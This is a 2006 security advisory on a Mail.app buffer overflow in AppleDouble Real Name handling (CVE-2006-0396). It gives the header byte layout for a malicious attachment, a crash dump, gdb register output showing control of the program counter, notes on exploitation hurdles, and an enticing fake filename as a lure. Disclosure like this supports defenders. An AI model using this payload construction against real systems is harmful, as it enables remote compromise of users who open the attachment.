DMA[2006-0313a] - 'Apple OSX Mail.app RFC1740 Real Name Buffer Overflow' Author: Kevin Finisterre Vendor: http://www.apple.com/macosx/ Product: 'Mac OSX 10.4.5 with Security Update 2006-001' References: http://www.digitalmunition.com/DMA[2006-0313a].txt http://rfc.net/rfc1740.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0396 Description: Security Update 2006-001 for Mac OS X included a fix for the Download Validation component of Mail.app. Download Validation is used to warn the user if the file type is not "safe". Prior to 2006-001 certain techniques could be used to disguise a file's type so that the validation was bypassed. Unfortunately in the process of patching the previous problem a new one was introduced. After applying Security Update 2006-001 Mail.app becomes vulnerable to a buffer overflow that may be triggered via a properly formatted MIME Encapsuled Macintosh file. Sending a file in the AppleDouble format with a long Real Name entry will invoke the overflow. Reading through RFC1740 should provide enough information to trigger the issue. The overflow is triggered by the file that contains the AppleDouble header information. The format of the header we need to send is as follows: [4 byte magic num][4 byte version num][16 bytes of filler][2 byte num of entries][Entry...] Entry descriptor for each Entry: [4 byte entry id][4 byte offset][4 byte length] Using the above layout we come up with the following code snippet for our exploit. "\x00\x05\x16\x07". # AppleDouble Magic Number "\x00\x02\x00\x00". # Version 2 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler "\x00\x03\x00\x00". # Number of entries (3) "\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info' "\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e "\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10 "\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name' "\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48 "\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245 "\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork' "\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d "\x05\x3a\x00\x00". # Length of Resource fork is 0x053a "\x00\x00\x00\x00". # filler "\x00\x00\x00\x00". # filler "A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above. ... If a message with the above header arrived in your inbox on Mail.app you would see only the first 11 characters of the name provided by the Real Name entry. In this particular case you see "AAAAAAAAAAA...mov" . Other examples could be "SuperTastey...mov" or NakedChicks...mov" . The visual aspects of the (...) are surprisingly not that suspicious. Upon double clicking the attached file on the arrived email the following dump is created. Date/Time: 2006-03-04 10:35:32.472 -0500 OS Version: 10.4.5 (Build 8H14) Report Version: 4 Command: Mail Path: /Applications/Mail.app/Contents/MacOS/Mail Parent: WindowServer [64] Version: 2.0.7 (746.2) Build Version: 1 Project Name: MailViewer Source Version: 7460200 PID: 271 Thread: 0 Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140 If we take a look at this in gdb we can see that several things are overwirtten. (gdb) bt #0 0x41424344 in ?? () Cannot access memory at address 0x41424344 Cannot access memory at address 0x31313131 Cannot access memory at address 0x41424344 Cannot access memory at address 0x41424344 #1 0x41424344 in ?? () Cannot access memory at address 0x41424344 Cannot access memory at address 0x41424344 Cannot access memory at address 0x31313131 warning: Previous frame identical to this frame (corrupt stack?) Cannot access memory at address 0x41424344 Cannot access memory at address 0x41424344 Cannot access memory at address 0x31313139 We control r0, pc, lr and half of r31. (gdb) i r $r0 $pc $lr $r31 r0 0x41424344 1094861636 pc 0x41424344 1094861636 lr 0x41424344 1094861636 r31 0x18b3030 25899056 Exploitation of this issue seems possible however there are currently some limitations with regard to what can and can not be done. The first issue involves previous exploitation attempts and the temporary files left behind by such attempts. k-fs-ibook:~ test$ ls -al /var/tmp/folders.502/TemporaryItems/ ~/Library/Mail\ Downloads/ /Users/test/Library/Mail Downloads/: total 352 drwx------ 7 test admin 238 Mar 13 22:42 . drwx------ 23 test admin 782 Mar 12 15:52 .. drwx------ 3 test admin 102 Mar 13 22:42 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000 11112222ABCD3333zzz.mov.mailhold /var/tmp/folders.502/TemporaryItems/: total 352 drwxr-xr-x 4 test wheel 136 Mar 13 22:38 . drwx------ 3 test wheel 102 Mar 12 10:35 .. -rwxr-xr-x 1 test wheel 90000 Mar 13 22:44 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00001 1112222ABCD3333zzz.mov.mov The existance of a particular temporary file can halt the actions of an exploit attempting to take advantage of this issue. While developing an exploit keeping the two folders shown above clean is critical! The temporary files appear to be created during the process of previewing a message. In some cases they may not be created due to failed mkstemp() calls. The next issue centers around the fact that RFC1740 states that the Real Name entry can only contain 7bit printable ascii, using shellcode addresses with 0xff and 0xbf will not be possible because of this. This obviously eliminates alot of easy shellcode addresses unfortunately. 0xbfffe6e1: "Users/test/Library/Mail Downloads/", 'a' ... 0xbfffe7a9: 'a' , "00\032ÿø" Code in other areas seems to be either in an unreliable location or in a unicode format. I am really not in the mood to hunt around memory for a stable address but I am sure that something could be put together to exploit this. Here is an example of the Unicode strings that can be found in memory at random places. (gdb) x/30a $r29 0x18b8a00: 0xa28e6424 0x12100000 0x2f0055 0x730065 0x18b8a10: 0x720073 0x2f0074 0x650073 0x74002f 0x18b8a20: 0x4c0069 0x620072 0x610072 0x79002f 0x18b8a30: 0x4d0061 0x69006c 0x200044 0x6f0077 0x18b8a40: 0x6e006c 0x6f0061 0x640073 0x2f0061 0x18b8a50: 0x610061 0x610061 0x610061 0x610061 0x18b8a60: 0x610061 0x610061 0x610061 0x610061 0x18b8a70: 0x610061 0x610061 On x86 the Unicode *may* not be a problem however I do not have access to an intel based mac so I can not confirm this. On PowerPC however for the time being there is not much I can do on the Unicode front. I am not aware of any Venetian style PowerPC lovin at the moment. For the time being my exploitation has not gone beyond what I have documented here. Beyond the few hurdles I have outlined may lie a few more, but who knows? Good luck. Work Around: Install 2006-002 update or simply do not open attachments in Mail.app http://www.apple.com/support/downloads/ Sidenote: Much thanks to Apple for the quick turnaround time and prompt weekend responses! A same day response and 9 day turn around is hard to beat.